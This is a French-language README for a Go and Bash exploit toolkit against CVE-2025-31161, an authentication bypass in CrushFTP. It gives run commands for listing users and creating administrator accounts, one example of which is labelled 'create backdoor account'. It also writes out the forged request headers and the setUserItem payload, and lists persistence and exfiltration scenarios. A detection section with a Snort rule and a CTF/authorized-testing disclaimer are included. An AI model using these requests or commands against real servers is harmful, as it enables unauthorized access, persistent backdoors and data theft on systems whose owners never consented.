Contournement d'authentification CrushFTP - CVE-2025-31161

Une boîte à outils complète pour exploiter CVE-2025-31161, une vulnérabilité de contournement d'authentification dans CrushFTP qui permet la création non autorisée de comptes utilisateurs.

🔍 Qu'est-ce que CVE-2025-31161 ?

CVE-2025-31161 est une vulnérabilité critique de contournement d'authentification dans CrushFTP qui permet aux attaquants de créer des comptes utilisateurs non autorisés sans authentification appropriée. Cette vulnérabilité existe dans la fonctionnalité de gestion des utilisateurs de l'interface web.

Détails techniques

• Score CVSS : À déterminer
• Logiciel concerné : Interface Web CrushFTP
• Vecteur d'attaque : Réseau
• Authentification requise : Aucune
• Impact : Compromission complète du système via création non autorisée de comptes

🚀 Fonctionnalités

• Support multi-langage : Implémentations Go et Bash
• Détection intelligente de vulnérabilité : Vérifie automatiquement si la cible est vulnérable avant exploitation
• Énumération des utilisateurs : Liste les utilisateurs existants sur les cibles vulnérables
• Création d'utilisateurs : Crée de nouveaux comptes administrateurs
• Mode interactif : Demande les identifiants uniquement lorsque la cible est confirmée vulnérable
• Indicateurs abrégés : Accès rapide avec les indicateurs -t, -p, -tu
• Support de port personnalisé : Port configurable pour différents scénarios de déploiement
• Orientation pédagogique : Conçu pour les défis CTF et la recherche en sécurité

📁 Structure du dépôt

CrushFTP-auth-bypass-CVE-2025-31161/
├── README.md                 # This documentation
├── cve-2025-31161.go        # Go implementation (recommended)
├── cve-2025-31161.sh        # Bash implementation
└── LICENSE                  # MIT License

🛠️ Installation et prérequis

Prérequis

Pour la version Go (recommandée)

# Install Go (if not already installed)
sudo apt install golang-go
# or
wget https://go.dev/dl/go1.21.0.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.21.0.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin

Pour la version Bash

# Requires curl (usually pre-installed)
sudo apt install curl

Configuration rapide

git clone <repository-url>
cd CrushFTP-auth-bypass-CVE-2025-31161
chmod +x cve-2025-31161.sh

🎯 Utilisation

Version Go (recommandée)

Lister les utilisateurs

# Basic usage with shorthand flags
go run cve-2025-31161.go -t example.com -lu

# With custom port
go run cve-2025-31161.go -t example.com -p 8080 -lu

# Long form flags
go run cve-2025-31161.go --target_host example.com --port 8080 -lu

Ajouter un nouvel utilisateur

# Create new user (will prompt for username/password)
go run cve-2025-31161.go -t example.com -au

# With custom target user (default: crushadmin)
go run cve-2025-31161.go -t example.com -tu admin -au

# Long form flags
go run cve-2025-31161.go --target_host example.com --target_user admin -au

Version Bash

Lister les utilisateurs

# Basic usage
./cve-2025-31161.sh -t example.com -lu

# With custom port
./cve-2025-31161.sh -t example.com -p 8080 -lu

Ajouter un nouvel utilisateur

# Create new user
./cve-2025-31161.sh -t example.com -au

# With custom settings
./cve-2025-31161.sh -t example.com -p 8080 -tu crushadmin -au

Indicateurs disponibles

Exemples d'utilisation

# Example 1: Enumerate users on target
go run cve-2025-31161.go -t ftp.example.htb -lu

# Example 2: Create backdoor account
go run cve-2025-31161.go -t ftp.example.htb -au
# Then enter: username: backdoor, password: P@ssw0rd123

# Example 3: Non-standard port with user enumeration
./cve-2025-31161.sh -t 192.168.1.100 -p 9090 -lu

# View help
./cve-2025-31161.sh --help

🔄 Comment ça fonctionne

flowchart TD
    A[Start Exploit] --> B[Check Target Connectivity]
    B --> C{Target Reachable?}
    C -->|No| D[Exit: Connection Failed]
    C -->|Yes| E[Send getUserList Request]
    E --> F{Response Contains OK?}
    F -->|No| G[Exit: Not Vulnerable]
    F -->|Yes| H[Target is Vulnerable!]
    H --> I{Mode Selected?}
    I -->|List Users -lu| J[Parse XML Response]
    J --> K[Display User List]
    K --> L[Exit: Success]
    I -->|Add User -au| M[Prompt for Username]
    M --> N[Prompt for Password]
    N --> O[Send Warm-up Request]
    O --> P[Craft User Creation Payload]
    P --> Q[Send setUserItem Request]
    Q --> R{User Created Successfully?}
    R -->|Yes| S[Success: Account Created]
    R -->|No| T[Failed: Exploitation Failed]

    style A fill:#e1f5fe
    style H fill:#c8e6c9
    style K fill:#81c784
    style S fill:#4caf50
    style D fill:#ffcdd2
    style G fill:#ffcdd2
    style T fill:#ffcdd2

🧪 Explication du flux d'exploitation

Étape 1 : Détection de la vulnérabilité

Le script envoie d'abord une requête getUserList pour vérifier si la cible est vulnérable :

GET /webinterface/function/?command=getUserList&serverGroup=MainUsers&c2f=wIwV
Cookie: CrushAuth=1758816957058_vuiPVygdYnM1kzYGOs9d3tzIbFWIwV
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/

Si la réponse contient <response_status>OK</response_status>, la cible est vulnérable.

Étape 2a : Énumération des utilisateurs (mode Lister)

Lors de l'utilisation du drapeau -lu, le script analyse la réponse XML et extrait les noms d'utilisateurs :

<user_list type="vector">
    <user_list_subitem>ben</user_list_subitem>
    <user_list_subitem>crushadmin</user_list_subitem>
    <user_list_subitem>default</user_list_subitem>
</user_list>

Sortie :

[+] Users:
  - ben
  - crushadmin
  - default

Étape 2b : Création de compte utilisateur (mode Ajouter)

Lors de l'utilisation du drapeau -au, le script envoie une requête setUserItem avec une charge utile XML malveillante :

POST /webinterface/function/
Content-Type: application/x-www-form-urlencoded

command=setUserItem&data_action=replace&serverGroup=MainUsers&username=newuser&user=<USER_XML>&xmlItem=user&vfs_items=<VFS_XML>&permissions=<PERMISSIONS_XML>&c2f=31If

Étape 3 : Vérification

Le script vérifie la présence de <response_status>OK</response_status> dans la réponse pour confirmer la création réussie de l'utilisateur.

⚠️ Détails de la vulnérabilité

Cause racine

La vulnérabilité provient de vérifications d'authentification insuffisantes dans la fonctionnalité de gestion des utilisateurs de l'interface web CrushFTP. L'application accepte les demandes de création d'utilisateurs sans valider correctement les permissions de l'appelant.

Évaluation de l'impact

• Confidentialité : ÉLEVÉE - Accès non autorisé au système de fichiers
• Intégrité : ÉLEVÉE - Capacité à modifier/télécharger des fichiers
• Disponibilité : MOYENNE - Potentiel d'épuisement des ressources

Scénarios d'attaque

1. Accès initial : Créer des comptes backdoor pour un accès persistant
2. Élévation de privilèges : Créer des comptes de niveau administrateur
3. Exfiltration de données : Accéder aux fichiers sensibles via l'interface FTP
4. Mouvement latéral : Utiliser le serveur FTP compromis comme point de pivot

🛡️ Détection et atténuation

Méthodes de détection

• Surveiller les requêtes setUserItem inhabituelles dans les journaux web
• Vérifier les nouveaux comptes utilisateurs créés en dehors des processus normaux
• Mettre en œuvre une détection d'anomalies pour les schémas de contournement d'authentification

Stratégies d'atténuation

1. Immédiat : Bloquer l'accès aux points de terminaison /webinterface/function/
2. Court terme : Mettre à jour vers une version corrigée de CrushFTP
3. Long terme : Mettre en place des contrôles d'authentification appropriés

Signatures réseau

# Snort/Suricata Rule Example
alert http any any -> any any (msg:"CrushFTP CVE-2025-31161 Exploit Attempt"; flow:established,to_server; content:"setUserItem"; http_uri; content:"serverGroup=MainUsers"; http_client_body; sid:1000001; rev:1;)

🎓 Cas d'utilisation pédagogiques

Scénarios CTF

• Sécurité des applications web : Comprendre les vulnérabilités de contournement d'authentification
• Tests d'intrusion : Démontrer des techniques d'exploitation réelles
• Exercices Red Team : Simuler des attaques de type APT

Objectifs d'apprentissage

• Comprendre la manipulation des requêtes HTTP
• Techniques d'injection XML
• Méthodologies de contournement d'authentification
• Développement d'exploits multi-langage

🚨 Avertissement légal

⚠️ IMPORTANT : Cet outil est conçu pour :

• Objectifs éducatifs
• Tests d'intrusion autorisés
• Compétitions CTF
• Recherche en sécurité dans des environnements contrôlés

NE PAS UTILISER sur des systèmes sans autorisation écrite explicite. L'accès non autorisé à des systèmes informatiques est illégal et peut entraîner de graves conséquences juridiques.

🤝 Contribution

Les contributions sont les bienvenues ! Merci de :

1. Forker le dépôt
2. Créer une branche de fonctionnalité (git checkout -b feature/amelioration)
3. Commiter vos modifications (git commit -am 'Ajouter une nouvelle fonctionnalité')
4. Pousser vers la branche (git push origin feature/amelioration)
5. Créer une Pull Request

Directives de développement

• Suivre le style de code existant
• Ajouter des commentaires complets
• Tester sur plusieurs environnements cibles
• Mettre à jour la documentation pour les nouvelles fonctionnalités

📝 Historique des versions

📚 Références

• Détails CVE-2025-31161
• Site officiel de CrushFTP
• Contournement d'authentification OWASP
• Recherche originale par Immersive Labs

📧 Contact

Pour toute question, suggestion ou problème de sécurité, veuillez ouvrir une issue dans ce dépôt.